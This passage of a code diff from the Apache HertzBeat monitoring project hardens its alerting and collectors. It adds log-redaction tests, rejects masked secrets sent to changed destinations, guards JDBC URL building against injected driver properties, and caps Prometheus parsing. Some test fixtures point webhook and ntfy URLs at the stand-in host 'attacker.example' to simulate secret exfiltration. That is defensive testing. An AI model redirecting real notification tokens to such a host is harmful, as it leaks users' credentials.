+
+    private TencentSmsProperties tencentProperties() {
+        return new TencentSmsProperties(ACCESS_KEY, "tencent-secret", "app-id", "sign", "template");
+    }
+
+    private SmslocalSmsProperties smslocalProperties() {
+        return new SmslocalSmsProperties(ACCESS_KEY);
+    }
+
+    private void assertNoSensitiveSentinels(String text) {
+        assertFalse(text.contains(ACCESS_KEY));
+        assertFalse(text.contains(PHONE));
+        assertFalse(text.contains(ALERT_CONTENT));
+        assertFalse(text.contains(PROVIDER_BODY));
+        assertFalse(text.contains(SIGNED_URL));
+        assertFalse(text.contains("signed-url-log-sentinel"));
+    }
+}

hertzbeat-alerter/src/test/java/org/apache/hertzbeat/alert/service/impl/ZabbixExternAlertServiceImplTest.java

@@ -0,0 +1,58 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.hertzbeat.alert.service.impl;
+
+import static org.junit.jupiter.api.Assertions.assertNull;
+import static org.mockito.Mockito.verify;
+
+import org.apache.hertzbeat.alert.reduce.AlarmCommonReduce;
+import org.apache.hertzbeat.common.entity.alerter.SingleAlert;
+import org.apache.hertzbeat.common.util.JsonUtil;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.extension.ExtendWith;
+import org.mockito.ArgumentCaptor;
+import org.mockito.InjectMocks;
+import org.mockito.Mock;
+import org.mockito.junit.jupiter.MockitoExtension;
+
+/**
+ * Test case for {@link ZabbixExternAlertServiceImpl}.
+ */
+@ExtendWith(MockitoExtension.class)
+class ZabbixExternAlertServiceImplTest {
+
+    @Mock
+    private AlarmCommonReduce alarmCommonReduce;
+
+    @InjectMocks
+    private ZabbixExternAlertServiceImpl externAlertService;
+
+    @Test
+    void ignoresExternalPersistenceIdentity() {
+        SingleAlert incoming = SingleAlert.builder()
+                .id(123L)
+                .fingerprint("zabbix-alert")
+                .build();
+
+        externAlertService.addExternAlert(JsonUtil.toJson(incoming));
+
+        ArgumentCaptor<SingleAlert> alertCaptor = ArgumentCaptor.forClass(SingleAlert.class);
+        verify(alarmCommonReduce).reduceAndSendAlarm(alertCaptor.capture());
+        assertNull(alertCaptor.getValue().getId());
+    }
+}

hertzbeat-alerter/src/test/java/org/apache/hertzbeat/alert/util/AlertUtilTest.java

@@ -0,0 +1,61 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.hertzbeat.alert.util;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertNotEquals;
+
+import java.util.LinkedHashMap;
+import java.util.Map;
+import org.junit.jupiter.api.Test;
+
+/**
+ * Test case for {@link AlertUtil}.
+ */
+class AlertUtilTest {
+
+    @Test
+    void calculateFingerprintPreservesLabelPairing() {
+        Map<String, String> first = new LinkedHashMap<>();
+        first.put("environment", "production");
+        first.put("team", "payments");
+
+        Map<String, String> swapped = new LinkedHashMap<>();
+        swapped.put("environment", "payments");
+        swapped.put("team", "production");
+
+        assertNotEquals(
+                AlertUtil.calculateFingerprint(first),
+                AlertUtil.calculateFingerprint(swapped));
+    }
+
+    @Test
+    void calculateFingerprintIsIndependentOfMapIterationOrder() {
+        Map<String, String> first = new LinkedHashMap<>();
+        first.put("environment", "production");
+        first.put("team", "payments");
+
+        Map<String, String> reversed = new LinkedHashMap<>();
+        reversed.put("team", "payments");
+        reversed.put("environment", "production");
+
+        assertEquals(
+                AlertUtil.calculateFingerprint(first),
+                AlertUtil.calculateFingerprint(reversed));
+    }
+}

hertzbeat-alerter/src/test/java/org/apache/hertzbeat/alert/util/NoticeReceiverMaskUtilTest.java

@@ -23,6 +23,7 @@ import org.junit.jupiter.api.Test;
 import static org.apache.hertzbeat.alert.util.NoticeReceiverMaskUtil.SECRET_MASK;
 import static org.junit.jupiter.api.Assertions.assertEquals;
 import static org.junit.jupiter.api.Assertions.assertNull;
+import static org.junit.jupiter.api.Assertions.assertThrows;
 
 /**
  * Test case for {@link NoticeReceiverMaskUtil}
@@ -104,7 +105,6 @@ class NoticeReceiverMaskUtilTest {
         NoticeReceiver incoming = NoticeReceiverMaskUtil.mask(existing);
         incoming.setAccessToken("new-access-token-1234");
         incoming.setGotifyToken(null);
-        incoming.setNtfyToken(SECRET_MASK);
 
         NoticeReceiverMaskUtil.resolveMask(incoming, existing);
 
@@ -122,13 +122,73 @@ class NoticeReceiverMaskUtilTest {
     }
 
     @Test
-    void resolveMaskIgnoresMaskWhenNothingIsStored() {
+    void resolveMaskRejectsMaskWhenNothingIsStored() {
         NoticeReceiver existing = new NoticeReceiver();
         NoticeReceiver incoming = new NoticeReceiver();
         incoming.setAccessToken(SECRET_MASK);
 
+        assertThrows(
+                IllegalArgumentException.class,
+                () -> NoticeReceiverMaskUtil.resolveMask(incoming, existing));
+    }
+
+    @Test
+    void resolveMaskRejectsBareMaskAsWildcard() {
+        NoticeReceiver existing = buildReceiverWithSecrets();
+        NoticeReceiver incoming = new NoticeReceiver();
+        incoming.setAccessToken(SECRET_MASK);
+
+        assertThrows(
+                IllegalArgumentException.class,
+                () -> NoticeReceiverMaskUtil.resolveMask(incoming, existing));
+    }
+
+    @Test
+    void resolveMaskRestoresBareMaskForShortStoredSecret() {
+        NoticeReceiver existing = new NoticeReceiver();
+        existing.setAccessToken("short-token");
+        NoticeReceiver incoming = NoticeReceiverMaskUtil.mask(existing);
+
         NoticeReceiverMaskUtil.resolveMask(incoming, existing);
 
-        assertEquals(SECRET_MASK, incoming.getAccessToken());
+        assertEquals("short-token", incoming.getAccessToken());
+    }
+
+    @Test
+    void resolveMaskForTestRejectsMaskedWebhookSecretForChangedUrl() {
+        NoticeReceiver existing = buildReceiverWithSecrets();
+        existing.setType((byte) 2);
+        NoticeReceiver incoming = NoticeReceiverMaskUtil.mask(existing);
+        incoming.setHookUrl("https://attacker.example/collect");
+
+        assertThrows(
+                IllegalArgumentException.class,
+                () -> NoticeReceiverMaskUtil.resolveMaskForTest(incoming, existing));
+        assertEquals(SECRET_MASK + "abcd", incoming.getHookAuthToken());
+    }
+
+    @Test
+    void resolveMaskForTestRejectsMaskedNtfySecretForChangedServer() {
+        NoticeReceiver existing = buildReceiverWithSecrets();
+        existing.setType((byte) 15);
+        existing.setNtfyServerUrl("https://ntfy.example");
+        NoticeReceiver incoming = NoticeReceiverMaskUtil.mask(existing);
+        incoming.setNtfyServerUrl("https://attacker.example");
+
+        assertThrows(
+                IllegalArgumentException.class,
+                () -> NoticeReceiverMaskUtil.resolveMaskForTest(incoming, existing));
+        assertEquals(SECRET_MASK + "NIz2", incoming.getNtfyToken());
+    }
+
+    @Test
+    void resolveMaskForTestRestoresSecretForUnchangedDestination() {
+        NoticeReceiver existing = buildReceiverWithSecrets();
+        existing.setType((byte) 2);
+        NoticeReceiver incoming = NoticeReceiverMaskUtil.mask(existing);
+
+        NoticeReceiverMaskUtil.resolveMaskForTest(incoming, existing);
+
+        assertEquals("hook-auth-token-abcd", incoming.getHookAuthToken());
     }
 }

hertzbeat-collector/hertzbeat-collector-basic/pom.xml

@@ -151,8 +151,8 @@
         <!--Bouncy Castle-->
         <dependency>
             <groupId>org.bouncycastle</groupId>
-            <artifactId>bcpkix-jdk15on</artifactId>
-            <version>1.68</version>
+            <artifactId>bcpkix-jdk18on</artifactId>
+            <version>${bouncycastle.version}</version>
         </dependency>
 
 

hertzbeat-collector/hertzbeat-collector-basic/src/main/java/org/apache/hertzbeat/collector/collect/common/OneRowResponseSupport.java

@@ -0,0 +1,113 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.hertzbeat.collector.collect.common;
+
+import java.util.Collections;
+import java.util.List;
+import org.apache.hertzbeat.collector.constants.CollectorConstants;
+import org.apache.hertzbeat.common.constants.CommonConstants;
+import org.apache.hertzbeat.common.entity.message.CollectRep;
+import org.springframework.util.StringUtils;
+
+/**
+ * Shared one-row response handling for command-based collectors.
+ */
+public final class OneRowResponseSupport {
+
+    /**
+     * Parse type where each output line maps to one alias field of a single result row.
+     */
+    public static final String PARSE_TYPE_ONE_ROW = "oneRow";
+
+    private OneRowResponseSupport() {
+    }
+
+    /**
+     * Treat blank stdout without an error signal (no stderr, exit status present and <= 1,
+     * grep-style no match) as valid empty one-row data: append a row of null placeholders so the
+     * metric stays visible and alertable.
+     *
+     * @return true if handled as empty success, false if the caller should report a failure
+     */
+    public static boolean tryAppendEmptyOneRow(String parseType, String stdErr, Integer exitStatus,
+                                               List<String> aliasFields, CollectRep.MetricsData.Builder builder,
+                                               Long responseTime) {
+        if (PARSE_TYPE_ONE_ROW.equals(parseType)
+                && !StringUtils.hasText(stdErr)
+                && exitStatus != null && exitStatus <= 1) {
+            appendEmptyValues(aliasFields, builder, responseTime);
+            return true;
+        }
+        return false;
+    }
+
+    /**
+     * Build the failure message for a command that produced no usable stdout: prefer the captured
+     * stderr, then a non-trivial exit status, otherwise the generic null-data message.
+     */
+    public static String buildBlankFailureMessage(String stdErr, Integer exitStatus,
+                                                  String exitCodePrefix, String nullMessage) {
+        if (StringUtils.hasText(stdErr)) {
+            return stdErr.trim();
+        }
+        if (exitStatus != null && exitStatus > 1) {
+            return exitCodePrefix + exitStatus;
+        }
+        return nullMessage;
+    }
+
+    /**
+     * Map each output line to one alias field of a single row; missing trailing lines become
+     * NULL_VALUE columns so a partial result keeps its values and the gap stays alertable.
+     */
+    public static void appendResponseValues(String result, List<String> aliasFields,
+                                            CollectRep.MetricsData.Builder builder, Long responseTime) {
+        List<String> safeAliasFields = aliasFields == null ? Collections.emptyList() : aliasFields;
+        String[] lines = result.split("\n");
+        CollectRep.ValueRow.Builder valueRowBuilder = CollectRep.ValueRow.newBuilder();
+        int aliasIndex = 0;
+        int lineIndex = 0;
+        while (aliasIndex < safeAliasFields.size()) {
+            if (CollectorConstants.RESPONSE_TIME.equalsIgnoreCase(safeAliasFields.get(aliasIndex))) {
+                valueRowBuilder.addColumn(responseTime.toString());
+            } else {
+                if (lineIndex < lines.length) {
+                    valueRowBuilder.addColumn(lines[lineIndex].trim());
+                } else {
+                    valueRowBuilder.addColumn(CommonConstants.NULL_VALUE);
+                }
+                lineIndex++;
+            }
+            aliasIndex++;
+        }
+        builder.addValueRow(valueRowBuilder.build());
+    }
+
+    public static void appendEmptyValues(List<String> aliasFields, CollectRep.MetricsData.Builder builder, Long responseTime) {
+        List<String> safeAliasFields = aliasFields == null ? Collections.emptyList() : aliasFields;
+        CollectRep.ValueRow.Builder valueRowBuilder = CollectRep.ValueRow.newBuilder();
+        for (String aliasField : safeAliasFields) {
+            if (CollectorConstants.RESPONSE_TIME.equalsIgnoreCase(aliasField)) {
+                valueRowBuilder.addColumn(responseTime.toString());
+            } else {
+                valueRowBuilder.addColumn(CommonConstants.NULL_VALUE);
+            }
+        }
+        builder.addValueRow(valueRowBuilder.build());
+    }
+}

hertzbeat-collector/hertzbeat-collector-basic/src/main/java/org/apache/hertzbeat/collector/collect/database/JdbcCommonCollect.java

@@ -46,6 +46,7 @@ import org.apache.hertzbeat.common.entity.job.SshTunnel;
 import org.apache.hertzbeat.common.entity.job.protocol.JdbcProtocol;
 import org.apache.hertzbeat.common.entity.message.CollectRep;
 import org.apache.hertzbeat.common.util.CommonUtil;
+import org.apache.hertzbeat.common.util.JdbcUrlSafetyUtil;
 import org.apache.sshd.common.SshException;
 import org.apache.sshd.common.channel.exception.SshChannelOpenException;
 import org.postgresql.util.PSQLException;
@@ -605,28 +606,33 @@ public class JdbcCommonCollect extends AbstractCollect {
             return url;
         }
         assert jdbcProtocol.getPlatform() != null;
-        return switch (jdbcProtocol.getPlatform()) {
+        // the database name is concatenated into the url below, so it must not carry url syntax
+        String database = JdbcUrlSafetyUtil.requireSafeDatabaseName(jdbcProtocol.getDatabase());
+        String constructedUrl = switch (jdbcProtocol.getPlatform()) {
             case "mysql", "mariadb" -> "jdbc:mysql://" + host + ":" + port
-                    + "/" + (jdbcProtocol.getDatabase() == null ? "" : jdbcProtocol.getDatabase())
+                    + "/" + database
                     + "?useUnicode=true&characterEncoding=utf-8&useSSL=false";
             case "xugu" -> "jdbc:xugu://" + host + ":" + port
-                    + "/" + (jdbcProtocol.getDatabase() == null ? "" : jdbcProtocol.getDatabase());
+                    + "/" + database;
             case "postgresql" -> "jdbc:postgresql://" + host + ":" + port
-                    + "/" + (jdbcProtocol.getDatabase() == null ? "" : jdbcProtocol.getDatabase());
+                    + "/" + database;
             case "clickhouse" -> "jdbc:clickhouse://" + host + ":" + port
-                    + "/" + (jdbcProtocol.getDatabase() == null ? "" : jdbcProtocol.getDatabase());
+                    + "/" + database;
             case "sqlserver" -> "jdbc:sqlserver://" + host + ":" + port
-                    + ";" + (jdbcProtocol.getDatabase() == null ? "" : "DatabaseName=" + jdbcProtocol.getDatabase())
+                    + ";" + (database.isEmpty() ? "" : "DatabaseName=" + database)
                     + ";trustServerCertificate=true;";
             case "oracle" -> "jdbc:oracle:thin:@" + host + ":" + port
-                    + "/" + (jdbcProtocol.getDatabase() == null ? "" : jdbcProtocol.getDatabase());
+                    + "/" + database;
             case "dm" -> "jdbc:dm://" + host + ":" + port;
             case "db2" -> "jdbc:db2://" + host + ":" + port
-                    + "/" + (jdbcProtocol.getDatabase() == null ? "" : jdbcProtocol.getDatabase());
+                    + "/" + database;
             case "testcontainers" -> "jdbc:tc:" + host + ":" + port
-                    + ":///" + (jdbcProtocol.getDatabase() == null ? "" : jdbcProtocol.getDatabase()) + "?user=root&password=root";
+                    + ":///" + database + "?user=root&password=root";
             default -> throw new IllegalArgumentException("Not support database platform: " + jdbcProtocol.getPlatform());
         };
+        // fail closed if any concatenated value still smuggled a driver property through
+        JdbcUrlSafetyUtil.requireSafeJdbcUrl(constructedUrl);
+        return constructedUrl;
     }
 
     private static final class ResultSetJdbcQueryRowSet implements JdbcQueryRowSet {

hertzbeat-collector/hertzbeat-collector-basic/src/main/java/org/apache/hertzbeat/collector/collect/http/HttpCollectImpl.java

@@ -704,13 +704,11 @@ public class HttpCollectImpl extends AbstractCollect {
                         valueRowBuilder.addColumn(String.valueOf(value));
                     } else {
                         if (alias.startsWith("$.")) {
-                            List<Object> subResults = JsonPathParser.parseContentWithJsonPath(resp, http.getParseScript() + alias.substring(1));
-                            if (subResults != null && subResults.size() > i) {
-                                Object resultValue = subResults.get(i);
-                                valueRowBuilder.addColumn(resultValue == null ? CommonConstants.NULL_VALUE : String.valueOf(resultValue));
-                            } else {
-                                valueRowBuilder.addColumn(CommonConstants.NULL_VALUE);
-                            }
+                            // per-row evaluation, a global "parseScript + alias" query would misalign rows missing the path
+                            List<Object> aliasValues = JsonPathParser.parseRowWithJsonPath(objectValue, alias);
+                            // a wildcard alias matching multiple values is kept whole and rendered as "[v1, v2]"
+                            Object resultValue = aliasValues.size() == 1 ? aliasValues.get(0) : (aliasValues.isEmpty() ? null : aliasValues);
+                            valueRowBuilder.addColumn(resultValue == null ? CommonConstants.NULL_VALUE : String.valueOf(resultValue));
                         } else {
                             addColumnForSummary(responseTime, valueRowBuilder, keywordNum, alias);
                         }

hertzbeat-collector/hertzbeat-collector-basic/src/main/java/org/apache/hertzbeat/collector/collect/prometheus/parser/OnlineParser.java

@@ -60,16 +60,37 @@ public class OnlineParser {
     }
 
     public static Map<String, MetricFamily> parseMetrics(InputStream inputStream) throws IOException {
-        Map<String, MetricFamily> metricFamilyMap = new ConcurrentHashMap<>(10);
+        return parseMetrics(inputStream, Integer.MAX_VALUE);
+    }
+
+    /**
+     * Parses at most {@code maxSamples} samples from the supplied stream.
+     *
+     * @param inputStream The Prometheus text stream
+     * @param maxSamples The maximum number of samples to materialize
+     * @return The parsed metric families, or {@code null} when the text format is invalid
+     * @throws IOException When the stream cannot be read
+     * @throws SampleLimitExceededException When another sample follows the configured limit
+     */
+    public static Map<String, MetricFamily> parseMetrics(InputStream inputStream, int maxSamples) throws IOException {
+        if (maxSamples < 0) {
+            throw new IllegalArgumentException("maxSamples must not be negative");
+        }
+        final Map<String, MetricFamily> metricFamilyMap = new ConcurrentHashMap<>(10);
+        int sampleCount = 0;
         try {
             int i = getChar(inputStream);
             while (i != -1) {
                 if (i == '#' || i == '\n') {
                     skipToLineEnd(inputStream).maybeEol().maybeEof().noElse();
                 } else {
-                    StringBuilder stringBuilder = new StringBuilder();
+                    if (sampleCount >= maxSamples) {
+                        throw new SampleLimitExceededException(maxSamples);
+                    }
+                    final StringBuilder stringBuilder = new StringBuilder();
                     stringBuilder.append((char) i);
                     parseMetric(inputStream, metricFamilyMap, stringBuilder);
+                    sampleCount++;
                 }
                 i = getChar(inputStream);
                 // To address the `\n\r` scenario, it is necessary to skip
@@ -84,6 +105,16 @@ public class OnlineParser {
         return metricFamilyMap;
     }
 
+    /**
+     * Signals that parsing stopped before materializing a sample beyond the configured limit.
+     */
+    public static final class SampleLimitExceededException extends IOException {
+
+        public SampleLimitExceededException(int limit) {
+            super("prometheus payload exceeds the " + limit + " sample limit");
+        }
+    }
+
     /**
      * Parses Prometheus metrics from the given {@link InputStream}, but only for the specified metric name.
      * <p>

hertzbeat-collector/hertzbeat-collector-basic/src/main/java/org/apache/hertzbeat/collector/collect/script/ScriptCollectImpl.java

@@ -30,6 +30,7 @@ import java.util.Objects;
 import java.util.stream.Collectors;
 import lombok.extern.slf4j.Slf4j;
 import org.apache.hertzbeat.collector.collect.AbstractCollect;
+import org.apache.hertzbeat.collector.collect.common.OneRowResponseSupport;
 import org.apache.hertzbeat.collector.constants.CollectorConstants;
 import org.apache.hertzbeat.collector.dispatch.DispatchConstants;
 import org.apache.hertzbeat.common.constants.CommonConstants;
@@ -52,7 +53,6 @@ public class ScriptCollectImpl extends AbstractCollect {
     private static final String BASH_C = "-c";
     private static final String POWERSHELL_C = "-Command";
     private static final String POWERSHELL_FILE = "-File";
-    private static final String PARSE_TYPE_ONE_ROW = "oneRow";
     private static final String PARSE_TYPE_MULTI_ROW = "multiRow";
     private static final String PARSE_TYPE_NETCAT = "netcat";
     private static final String PARSE_TYPE_LOG = "log";
@@ -113,25 +113,48 @@ public class ScriptCollectImpl extends AbstractCollect {
         try {
             Process process = processBuilder.start();
             BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream(), Charset.forName(scriptProtocol.getCharset())));
-            StringBuilder response = new StringBuilder();
-            String line;
-            while ((line = reader.readLine()) != null) {
-                if (StringUtils.hasText(line)) {
-                    response.append(line).append("\n");
+            BufferedReader errorReader = new BufferedReader(
+                    new InputStreamReader(process.getErrorStream(), Charset.forName(scriptProtocol.getCharset())));
+            // drain stderr on its own thread: a full stderr pipe would deadlock the stdout read;
+            // StringBuffer because the drainer may still be writing when the buffer is read
+            StringBuffer errorBuffer = new StringBuffer();
+            Thread errorDrainer = new Thread(() -> {
+                try {
+                    String errorLine;
+                    while ((errorLine = errorReader.readLine()) != null) {
+                        if (StringUtils.hasText(errorLine)) {
+                            errorBuffer.append(errorLine).append("\n");
+                        }
+                    }
+                } catch (IOException e) {
+                    log.warn("read script error stream failed: {}", e.getMessage());
                 }
-            }
-            process.waitFor();
+            });
+            errorDrainer.setDaemon(true);
+            errorDrainer.start();
+            String result = readResponse(reader);
+            int exitCode = process.waitFor();
+            // bounded: a lingering grandchild can keep the stderr pipe open
+            errorDrainer.join(1000);
             Long responseTime = System.currentTimeMillis() - startTime;
-            String result = String.valueOf(response);
+            String errorResult = errorBuffer.toString();
             if (!StringUtils.hasText(result)) {
+                if (OneRowResponseSupport.tryAppendEmptyOneRow(scriptProtocol.getParseType(), errorResult,
+                        exitCode, metrics.getAliasFields(), builder, responseTime)) {
+                    return;
+                }
                 builder.setCode(CollectRep.Code.FAIL);
-                builder.setMsg("Script response data is null");
+                builder.setMsg(OneRowResponseSupport.buildBlankFailureMessage(errorResult, exitCode,
+                        "Script exited with code: ", "Script response data is null"));
                 return;
             }
+            if (StringUtils.hasText(errorResult)) {
+                log.warn("script command succeeded but wrote to stderr: {}", errorResult.trim());
+            }
             switch (scriptProtocol.getParseType()) {
                 case PARSE_TYPE_LOG -> parseResponseDataByLog(result, metrics.getAliasFields(), builder, responseTime);
                 case PARSE_TYPE_NETCAT -> parseResponseDataByNetcat(result, metrics.getAliasFields(), builder, responseTime);
-                case PARSE_TYPE_ONE_ROW -> parseResponseDataByOne(result, metrics.getAliasFields(), builder, responseTime);
+                case OneRowResponseSupport.PARSE_TYPE_ONE_ROW -> parseResponseDataByOne(result, metrics.getAliasFields(), builder, responseTime);
                 case PARSE_TYPE_MULTI_ROW -> parseResponseDataByMulti(result, metrics.getAliasFields(), builder, responseTime);
                 default -> {
                     builder.setCode(CollectRep.Code.FAIL);
@@ -207,28 +230,7 @@ public class ScriptCollectImpl extends AbstractCollect {
     }
 
     private void parseResponseDataByOne(String result, List<String> aliasFields, CollectRep.MetricsData.Builder builder, Long responseTime) {
-        String[] lines = result.split("\n");
-        if (lines.length + 1 < aliasFields.size()) {
-            log.error("ssh response data not enough: {}", result);
-            return;
-        }
-        CollectRep.ValueRow.Builder valueRowBuilder = CollectRep.ValueRow.newBuilder();
-        int aliasIndex = 0;
-        int lineIndex = 0;
-        while (aliasIndex < aliasFields.size()) {
-            if (CollectorConstants.RESPONSE_TIME.equalsIgnoreCase(aliasFields.get(aliasIndex))) {
-                valueRowBuilder.addColumn(responseTime.toString());
-            } else {
-                if (lineIndex < lines.length) {
-                    valueRowBuilder.addColumn(lines[lineIndex].trim());
-                } else {
-                    valueRowBuilder.addColumn(CommonConstants.NULL_VALUE);
-                }
-                lineIndex++;
-            }
-            aliasIndex++;
-        }
-        builder.addValueRow(valueRowBuilder.build());
+        OneRowResponseSupport.appendResponseValues(result, aliasFields, builder, responseTime);
     }
 
     private void parseResponseDataByMulti(String result, List<String> aliasFields,
@@ -261,4 +263,15 @@ public class ScriptCollectImpl extends AbstractCollect {
             builder.addValueRow(valueRowBuilder.build());
         }
     }
+
+    private String readResponse(BufferedReader reader) throws IOException {
+        StringBuilder response = new StringBuilder();
+        String line;
+        while ((line = reader.readLine()) != null) {
+            if (StringUtils.hasText(line)) {
+                response.append(line).append("\n");
+            }
+        }
+        return response.toString();
+    }
 }

hertzbeat-collector/hertzbeat-collector-basic/src/main/java/org/apache/hertzbeat/collector/collect/ssh/SshCollectImpl.java

@@ -21,6 +21,8 @@ import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.InterruptedIOException;
 import java.net.ConnectException;
+import java.nio.charset.Charset;
+import java.nio.charset.StandardCharsets;
 import java.net.SocketTimeoutException;
 import java.security.GeneralSecurityException;
 import java.util.ArrayList;
@@ -33,6 +35,7 @@ import java.util.Objects;
 import java.util.stream.Collectors;
 import lombok.extern.slf4j.Slf4j;
 import org.apache.hertzbeat.collector.collect.AbstractCollect;
+import org.apache.hertzbeat.collector.collect.common.OneRowResponseSupport;
 import org.apache.hertzbeat.collector.collect.common.ssh.CommonSshBlacklist;
 import org.apache.hertzbeat.collector.collect.common.ssh.SshHelper;
 import org.apache.hertzbeat.collector.constants.CollectorConstants;
@@ -49,7 +52,6 @@ import org.apache.sshd.client.session.ClientSession;
 import org.apache.sshd.common.SshException;
 import org.apache.sshd.common.channel.exception.SshChannelOpenException;
 import org.apache.sshd.common.future.CloseFuture;
-import org.apache.sshd.common.util.io.output.NoCloseOutputStream;
 import org.springframework.util.StringUtils;
 
 /**
@@ -58,7 +60,6 @@ import org.springframework.util.StringUtils;
 @Slf4j
 public class SshCollectImpl extends AbstractCollect {
 
-    private static final String PARSE_TYPE_ONE_ROW = "oneRow";
     private static final String PARSE_TYPE_MULTI_ROW = "multiRow";
     private static final String PARSE_TYPE_NETCAT = "netcat";
     private static final String PARSE_TYPE_LOG = "log";
@@ -93,8 +94,9 @@ public class SshCollectImpl extends AbstractCollect {
             }
             channel = clientSession.createExecChannel(sshProtocol.getScript());
             ByteArrayOutputStream response = new ByteArrayOutputStream();
+            ByteArrayOutputStream errorResponse = new ByteArrayOutputStream();
             channel.setOut(response);
-            channel.setErr(new NoCloseOutputStream(System.err));
+            channel.setErr(errorResponse);
             channel.open().verify(timeout);
             List<ClientChannelEvent> list = new ArrayList<>();
             list.add(ClientChannelEvent.CLOSED);
@@ -107,16 +109,28 @@ public class SshCollectImpl extends AbstractCollect {
                 throw new SocketTimeoutException("Failed to retrieve command result in time: " + sshProtocol.getScript());
             }
             Long responseTime = System.currentTimeMillis() - startTime;
-            String result = response.toString();
+            Charset charset = StringUtils.hasText(sshProtocol.getCharset())
+                    ? Charset.forName(sshProtocol.getCharset()) : StandardCharsets.UTF_8;
+            String result = response.toString(charset);
+            String errorResult = errorResponse.toString(charset);
+            Integer exitStatus = channel.getExitStatus();
             if (!StringUtils.hasText(result)) {
+                if (OneRowResponseSupport.tryAppendEmptyOneRow(sshProtocol.getParseType(), errorResult,
+                        exitStatus, metrics.getAliasFields(), builder, responseTime)) {
+                    return;
+                }
                 builder.setCode(CollectRep.Code.FAIL);
-                builder.setMsg("ssh shell response data is null");
+                builder.setMsg(OneRowResponseSupport.buildBlankFailureMessage(errorResult, exitStatus,
+                        "ssh command exited with code: ", "ssh shell response data is null"));
                 return;
             }
+            if (StringUtils.hasText(errorResult)) {
+                log.warn("ssh command succeeded but wrote to stderr: {}", errorResult.trim());
+            }
             switch (sshProtocol.getParseType()) {
                 case PARSE_TYPE_LOG -> parseResponseDataByLog(result, metrics.getAliasFields(), builder, responseTime);
                 case PARSE_TYPE_NETCAT -> parseResponseDataByNetcat(result, metrics.getAliasFields(), builder, responseTime);
-                case PARSE_TYPE_ONE_ROW -> parseResponseDataByOne(result, metrics.getAliasFields(), builder, responseTime);
+                case OneRowResponseSupport.PARSE_TYPE_ONE_ROW -> parseResponseDataByOne(result, metrics.getAliasFields(), builder, responseTime);
                 case PARSE_TYPE_MULTI_ROW -> parseResponseDataByMulti(result, metrics.getAliasFields(), builder, responseTime);
                 default -> {
                     builder.setCode(CollectRep.Code.FAIL);
@@ -244,28 +258,7 @@ public class SshCollectImpl extends AbstractCollect {
     }
 
     private void parseResponseDataByOne(String result, List<String> aliasFields, CollectRep.MetricsData.Builder builder, Long responseTime) {
-        String[] lines = result.split("\n");
-        if (lines.length + 1 < aliasFields.size()) {
-            log.error("ssh response data not enough: {}", result);
-            return;
-        }
-        CollectRep.ValueRow.Builder valueRowBuilder = CollectRep.ValueRow.newBuilder();
-        int aliasIndex = 0;
-        int lineIndex = 0;
-        while (aliasIndex < aliasFields.size()) {
-            if (CollectorConstants.RESPONSE_TIME.equalsIgnoreCase(aliasFields.get(aliasIndex))) {
-                valueRowBuilder.addColumn(responseTime.toString());
-            } else {
-                if (lineIndex < lines.length) {
-                    valueRowBuilder.addColumn(lines[lineIndex].trim());
-                } else {
-                    valueRowBuilder.addColumn(CommonConstants.NULL_VALUE);
-                }
-                lineIndex++;
-            }
-            aliasIndex++;
-        }
-        builder.addValueRow(valueRowBuilder.build());
+        OneRowResponseSupport.appendResponseValues(result, aliasFields, builder, responseTime);
     }
 
     private void parseResponseDataByMulti(String result, List<String> aliasFields,

hertzbeat-collector/hertzbeat-collector-basic/src/main/java/org/apache/hertzbeat/collector/collect/telnet/TelnetCollectImpl.java

@@ -67,14 +67,20 @@ public class TelnetCollectImpl extends AbstractCollect {
                 long responseTime = System.currentTimeMillis() - startTime;
                 List<String> aliasFields = metrics.getAliasFields();
                 String app = builder.getApp();
-                Map<String, String> resultMap = execCmdAndParseResult(telnetClient, telnet.getCmd(), app);
-                resultMap.put(CollectorConstants.RESPONSE_TIME, Long.toString(responseTime));
-                if (resultMap.size() < aliasFields.size()) {
-                    log.error("telnet response data not enough: {}", resultMap);
+                CmdResult cmdResult = execCmdAndParseResult(telnetClient, telnet.getCmd(), app);
+                Map<String, String> resultMap = cmdResult.values();
+                boolean expectsCmdMetrics = StringUtils.isNotBlank(telnet.getCmd())
+                        && aliasFields.stream().anyMatch(field -> !CollectorConstants.RESPONSE_TIME.equalsIgnoreCase(field));
+                boolean hasExpectedMetric = aliasFields.stream().anyMatch(resultMap::containsKey);
+                if (expectsCmdMetrics && !hasExpectedMetric) {
+                    // e.g. zookeeper refusing a 4lw command not in its 4lw.commands.whitelist
+                    String reply = sanitizeReply(cmdResult.rawResponse());
